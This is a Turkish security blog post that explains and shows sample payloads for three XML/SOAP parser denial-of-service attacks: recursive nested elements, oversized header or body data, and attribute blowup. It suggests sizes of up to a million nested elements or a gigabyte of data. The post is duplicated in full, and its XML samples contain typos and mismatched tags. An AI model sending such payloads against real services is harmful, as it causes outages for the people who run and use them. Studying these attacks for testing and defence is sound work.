Selamün Aleyküm
Recursive Payloads
Recursive Payloads Attack öğrenebilmeniz için öncelikle XML Parseler hakkında cüz-i derecede bilgi gerekmektedir.Öncelikle
Parselerin ne olduğunu anlamamız gerekmektedir.
Bir web sitesi istek yapıldığında sunucu taraflı uygulama , gelen istek verisini ayrıştırarak ki bunun adı XML’de ’’Parse’’
dir , kullanılan elemanları ve bunlara ait değerleri çıkartır.
Recursive Payloads Attack ise tamda bu ayrıştırma işleminin yapıldığı kısmı hedef alınmaktadır.Çünkü web servislerinin işlem
yükü ele alındığında bu ayrıştırma işleminin diğer işlemlere göre daha fazla kaynak tükettiği gözlemlenmektedir.XML’in yapısı
ise bir ağaç şeklinde olup iç içe elemanlardan oluşur.Recursive Payloads Attack türünde belirlenen bir eleman türünden çok
sayıda iç içe aynı elemanın kopyalarını göndererek kullanılan XML parser’ın bellek ve CPU limitleri zorlanır.Eğer zafiyete
maruz kalan bir uygulama var ise belli sayıda istek sonrası yavaşlamalar gözlemlenebilir.Fakat bu problemi ortaya çıkarabilmek
için 10.000,100.000,1.000.000 gibi adetlerde iç içe elemalar gönderilmesi gerekeblir.Etkisi hizmet kesintisine varacağı için
dikkatli şekilde denetimi gerçekleştirilmelidir.
<?xml version=’’1.0’’ encoding=’’utf-8’’?>
<soap>:Envelope xmlns:soap=http://schemas.xmlsoap.org/soap/envelope/
xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance
xmlns:xsd=’’http://www.w3.org/2001/XMLSchema’’>
<soap:BOdy>
<GetProduct xmlns=’’http://tempuri.org/’’>
<productId>
<productId>
<productId>
...........
<productId>1</productId>
...........
</productId>
</productId>
</productId>
</GetProduct>
</soap:BOdy>
</soap:Envelope>
VİDEO !
Oversize Payloads
Adındanda anlaşılacağı üzere gönderilen isteğin boyutunun beklenenden fazla olması ile oluşabilecek problemleri adreslemektedir.
Yine XML dökümanlarının ayrıştırma işleminin maliyeti kötüye kullanılmaya çalışılıp fazlaCPU ve bellek tüketmini hedeflemektedir.
Özellikle DOM parser kullanan uygulamalarda görülmektedir.Çünkü DOM parser, gelen XML dökümanını önce belleğe alır ve ardından işlemeye
başlar.Bu da yüksek miktarda veri içeren dökümanlar için zaafiyet içeren bi durumdur.Oversize payload hazırlanırken SOAP isteğinin
yapısı bozulmamalıdır.Bu sebep ile yapılacak denemeler SOAP HEader veya SOAP BOdy içerisinde gerçekleştirilebilir.İkisine ait
örnek buyrun :
<?xml version=’’1.0’’ encoding=’’utf-8’’?>
<soap:Envelope xmlns:soap=http://schemas.xmlsoap.org/soap/envelope/xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance
xmlns:xsd=’’http://www.w3.org/2001/XMLSchema’’>
<soap:Header>
<baslik>Deneme isteği...
......
//Yüksek miktarda VERİ
//10M,100M,1GB
</baslik>
</soap:Header>
<soap:BOdy>
<GetProduct xmlns=’’http://tempuri.org/’’>
<productId>1</prdouctId>
</GetProduct>
</soap:BOdy>
</soap:Envelope>
SOAP BOdy için örnek ;
<?xml version=’’1.0’’ encoding=’’utf-8’’?>
<soap:Envelope xmlns:soap=http://schemas.xmlsoap.org/soap/envelope/xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance
xmlns:xsd=’’http://www.w3.org/2001/XMLSchema’’>
<soap:BOdy>
<GetPrdocut xmlns=’’http://tempuri.org/’’>
<productId>1</productId>
<productId>2</productId>
<productId>3</productId>
<productId>4</productId>
<productId>5</productId>
....
//1.000 , 10.000 , 100.000
</GetPrdouct>
</soap:BOdy>
</soap:Envelope>
VİDEO!
XML Attribute BLOWUP
XML Attribute BLOWUP da diğer XML saldırıları gibi Parse işlemini hedef alır ve parse işlemi esnasında ilgili ayrıştırıcının
gereğinden fazla CPU ve bellek kullanması sonucu hizmet kesintisine sebep olması adına kullanılan yöntemlerden biridir.
<?xml version=’’1.0’’ encoding=’’utf-8’’?>
<soap:Envelope xmlns:soap=http://schemas.xmlsoap.org/soap/envelope/xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance
xmlns:xsd=’’http://www.w3.org/2001/XMLSchema’’>
<soap:BOdy>
<GetProduct xmlns=’’http://www.tempuri.org/’’>
<productId a1=’’’’ a2=’’’’ ...a10000=’’’’>1</productId>
</GetProduct>
</soap:BOdy>
</soap:Envelope>
Selametle ~ t4rkd3vilz
Recursive Payloads
Recursive Payloads Attack öğrenebilmeniz için öncelikle XML Parseler hakkında cüz-i derecede bilgi gerekmektedir.Öncelikle
Parselerin ne olduğunu anlamamız gerekmektedir.
Bir web sitesi istek yapıldığında sunucu taraflı uygulama , gelen istek verisini ayrıştırarak ki bunun adı XML’de ’’Parse’’
dir , kullanılan elemanları ve bunlara ait değerleri çıkartır.
Recursive Payloads Attack ise tamda bu ayrıştırma işleminin yapıldığı kısmı hedef alınmaktadır.Çünkü web servislerinin işlem
yükü ele alındığında bu ayrıştırma işleminin diğer işlemlere göre daha fazla kaynak tükettiği gözlemlenmektedir.XML’in yapısı
ise bir ağaç şeklinde olup iç içe elemanlardan oluşur.Recursive Payloads Attack türünde belirlenen bir eleman türünden çok
sayıda iç içe aynı elemanın kopyalarını göndererek kullanılan XML parser’ın bellek ve CPU limitleri zorlanır.Eğer zafiyete
maruz kalan bir uygulama var ise belli sayıda istek sonrası yavaşlamalar gözlemlenebilir.Fakat bu problemi ortaya çıkarabilmek
için 10.000,100.000,1.000.000 gibi adetlerde iç içe elemalar gönderilmesi gerekeblir.Etkisi hizmet kesintisine varacağı için
dikkatli şekilde denetimi gerçekleştirilmelidir.
<?xml version=’’1.0’’ encoding=’’utf-8’’?>
<soap>:Envelope xmlns:soap=http://schemas.xmlsoap.org/soap/envelope/
xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance
xmlns:xsd=’’http://www.w3.org/2001/XMLSchema’’>
<soap:BOdy>
<GetProduct xmlns=’’http://tempuri.org/’’>
<productId>
<productId>
<productId>
...........
<productId>1</productId>
...........
</productId>
</productId>
</productId>
</GetProduct>
</soap:BOdy>
</soap:Envelope>
VİDEO !
Oversize Payloads
Adındanda anlaşılacağı üzere gönderilen isteğin boyutunun beklenenden fazla olması ile oluşabilecek problemleri adreslemektedir.
Yine XML dökümanlarının ayrıştırma işleminin maliyeti kötüye kullanılmaya çalışılıp fazlaCPU ve bellek tüketmini hedeflemektedir.
Özellikle DOM parser kullanan uygulamalarda görülmektedir.Çünkü DOM parser, gelen XML dökümanını önce belleğe alır ve ardından işlemeye
başlar.Bu da yüksek miktarda veri içeren dökümanlar için zaafiyet içeren bi durumdur.Oversize payload hazırlanırken SOAP isteğinin
yapısı bozulmamalıdır.Bu sebep ile yapılacak denemeler SOAP HEader veya SOAP BOdy içerisinde gerçekleştirilebilir.İkisine ait
örnek buyrun :
<?xml version=’’1.0’’ encoding=’’utf-8’’?>
<soap:Envelope xmlns:soap=http://schemas.xmlsoap.org/soap/envelope/xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance
xmlns:xsd=’’http://www.w3.org/2001/XMLSchema’’>
<soap:Header>
<baslik>Deneme isteği...
......
//Yüksek miktarda VERİ
//10M,100M,1GB
</baslik>
</soap:Header>
<soap:BOdy>
<GetProduct xmlns=’’http://tempuri.org/’’>
<productId>1</prdouctId>
</GetProduct>
</soap:BOdy>
</soap:Envelope>
SOAP BOdy için örnek ;
<?xml version=’’1.0’’ encoding=’’utf-8’’?>
<soap:Envelope xmlns:soap=http://schemas.xmlsoap.org/soap/envelope/xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance
xmlns:xsd=’’http://www.w3.org/2001/XMLSchema’’>
<soap:BOdy>
<GetPrdocut xmlns=’’http://tempuri.org/’’>
<productId>1</productId>
<productId>2</productId>
<productId>3</productId>
<productId>4</productId>
<productId>5</productId>
....
//1.000 , 10.000 , 100.000
</GetPrdouct>
</soap:BOdy>
</soap:Envelope>
VİDEO!
XML Attribute BLOWUP
XML Attribute BLOWUP da diğer XML saldırıları gibi Parse işlemini hedef alır ve parse işlemi esnasında ilgili ayrıştırıcının
gereğinden fazla CPU ve bellek kullanması sonucu hizmet kesintisine sebep olması adına kullanılan yöntemlerden biridir.
<?xml version=’’1.0’’ encoding=’’utf-8’’?>
<soap:Envelope xmlns:soap=http://schemas.xmlsoap.org/soap/envelope/xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance
xmlns:xsd=’’http://www.w3.org/2001/XMLSchema’’>
<soap:BOdy>
<GetProduct xmlns=’’http://www.tempuri.org/’’>
<productId a1=’’’’ a2=’’’’ ...a10000=’’’’>1</productId>
</GetProduct>
</soap:BOdy>
</soap:Envelope>
Selametle ~ t4rkd3vilz
Hiç yorum yok: